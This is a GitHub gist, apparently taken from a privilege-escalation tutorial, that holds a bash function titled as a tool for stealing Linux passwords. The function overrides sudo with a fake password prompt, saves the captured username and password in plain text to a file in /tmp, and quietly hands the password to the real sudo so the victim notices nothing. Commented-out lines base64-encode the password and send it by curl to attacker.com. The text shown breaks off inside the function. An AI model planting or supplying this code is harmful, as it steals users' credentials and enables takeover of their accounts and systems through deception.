Skip to content

Instantly share code, notes, and snippets.

View prykon's full-sized avatar
💭
If life gives you melons, you might be dyslexic. 🍋

Dario Manoukian prykon

💭
If life gives you melons, you might be dyslexic. 🍋
View GitHub Profile
@tokyoneon
tokyoneon / sudo
Last active December 8, 2024 03:59
Sudo function for stealing Linux passwords
function sudo ()
{
# https://null-byte.com/privesc-0194190/
realsudo="$(which sudo)";
read -s -p "[sudo] password for $USER: " inputPasswd;
printf "\n";
printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt;
# encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
# curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
$realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1;